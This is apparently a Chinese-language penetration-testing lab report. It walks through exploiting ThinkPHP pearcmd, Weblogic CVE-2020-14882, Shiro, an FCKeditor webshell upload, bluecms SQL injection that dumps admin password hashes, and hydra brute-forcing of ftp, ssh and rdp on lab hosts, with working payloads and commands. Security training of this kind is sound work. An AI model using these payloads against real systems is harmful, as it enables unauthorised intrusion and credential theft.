1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
(1)ThinkPHP
通过前端测试是否存在pearcmd,,访问以下路径
?lang=../../../../../../../../usr/local/lib/php/pearcmd
如果存在,就会出现下面的报错信息
EXP:
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
=phpinfo()?>+/var/www/html/test.php
这段代码是在网站根目录下创建test.php文件,并写入phpinfo代码
由于直接在url写入会被编码,故直接采用burp进行利用
成功创建test文件
访问:
(2)Weblogic
利用CVE-2020-14882漏洞,访问以下URL,即可未授权访问到管理后台页面:
http://10.0.0.152:7002/console/css/%252e%252e%252fconsole.portal
这里的%252e%252e%252f是经过两次url编码以后的../
进入后台页面
构造一个恶意的XML文档,并将文件上传到Weblogic能访问到的服务器上:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/test]]></value>
</list>
</constructor-arg>
</bean>
</beans>
访问以下路径,即可让Weblogic加载该恶意XML文件,并执行其中的命令:
http://10.0.0.152:7002/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.0.0.152:8080/hackable/uploads/rce.xml")
进入容器,可以发现test文件已成功被执行:
(3)Shiro
a.CVE-2016-4437
利用shiro_attack_2.2工具
输入地址、爆破密钥:
爆出密钥
成功利用
成功连接
b.CVE-2020-1957
构造url:
/XXX/..;/admin/
Shiro首先对URL进行处理,读取到;后会进行截断,丢弃/admin/,然后对/xxx/..;查找需要进行权限
判断的地方,发现/xxx/..;不需要权限校验,则放行,交由Spring进行处理
2. Spring通过/xxx/..;/admin/获取到有效路径/admin/,发起请求访问,假如admin是后台地址,则会成功访问后台
2、FCKeditor编辑器漏洞实验;
先用路径扫描工具扫描站点,发现有使用fckeditor
输入url查看版本号:
http://10.0.0.154/Fckeditor/editor/dialog/fck_about.html
知道版本号为2.4.3,利用示例页面进行上传
http://10.0.0.154/FCKeditor/editor/fckeditor.html
点击后出现如下页面
报错原因是我们启动靶场是用的php,而默认环境是asp,需要修改配置文件
访问
C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.ph
p,修改配置如下并保存:
上传路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
再次访问:
http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
接下来上传一个一句话木马文件
利用burp进行绕过:
抓包,在文件名后面加一个空格
上传成功
然后访问上传文件的路径:
http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/images/file/info.php
3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
搭建靶场:
返回空白页面,即搭建成功
进入网页
猜测用户帐号密码是admin/123456,登录
通过返回的信息可以猜测
1.存在admin用户
2.存在后台页面
接下来就是寻找后台,方法:
1.猜测后台页面:console、login、manager、admin、system...
2.上网搜索默认后台
3.工具爆破地址
这里通过猜测后台页面admin,得到后台页面
由于页面简单,没有账号锁定策略或验证码,故可以爆破出admin用户的密码是password:
进入到admin用户的管理页面
添加新广告后发现有个获取js功能:
点击获取JS
得到一个url:
http://10.0.0.154/bluecms/uploads/ad_js.php?ad_id=1
访问该地址发现是空白页面
但是观察url发现有个参数ad_id,猜测这里可能存在SQL注入:
输入1':
通过该页面确认其存在SQL注入,这里是数字型注入
接下来就是确认列数,输入
1 order by 1#
没报错
接着往下猜,直到1 order by 8#:
证明有7列,构造语句:
1 union all select 1,2,3,4,5,6,7#
发现是空白页面
查看页面源代码:
有可能是被ad_id=1占据了输出位,故改为-1
让出显示位之后就可以进行爆库操作:
-1 union all select 1,2,3,4,5,6,database()#
库名:bluecms
爆表名:blue_ad,blue_ad_phone,blue_admin,blue_admin_log,blue_ann,blue_ann_cat,blue_arc_cat,blue_area,blue_article,blue_attachment,blue_buy_record,blue_card_order,blue_card_type,blue_category,blue_comment,blue_config,blue_flash_image,blue_guest_book,blue_ipbanned,blue_link,blue_model,blue_navigate,blue_pay,blue_post,blue_post_att,blue_post_pic,blue_service,blue_task,blue_user
-1 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆出所有表名
接着爆blue_user的字段名:
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'#
发现网站对单引号做了过滤,这里采用进制转换来绕过
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572#
爆出列名:
user_id,user_name,pwd,email,birthday,sex,money,face_pic,mobile_phone,home_phone,office_phone,qq,msn,address,reg_time,last_login_time,last_login_ip
再就是爆具体的数据,这里选择user_name和pwd:
-1 union all select 1,2,3,4,5,6,group_concat(user_name,pwd) from blue_user#
得到admin用户的数据
admin5f4dcc3b5aa765d61d8327deb882cf99
将后面这段进行MD5解密,得到密码:password
旁注:由于同一个服务器可能存在两个对外开放的站点,这两个站点之间互为旁站,但是使用的是同一个数据库管理系统,旁注就是通过搭建在同一个服务器上对外提供服务的站点,目标站点打不进去就可以通过可能防守较为薄弱的旁站进行突破,从而攻击到目标站点。
跨库:在同一个数据库管理系统,通过查询语句来从一个数据库获取到另一个数据库的信息。
4、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。
ftp:
新建一个ftp服务(ftp/password1):
用hydra暴力破解
hydra 10.0.0.154 ftp -l ftp -P passwd.txt -vV -f -e ns
得到账号密码
验证
ssh:
hydra 10.0.0.154 ssh -l Zebra -P passwd.txt -vV -f -e ns
rdp:
hydra 10.0.0.154 rdp -l Zebra -P passwd.txt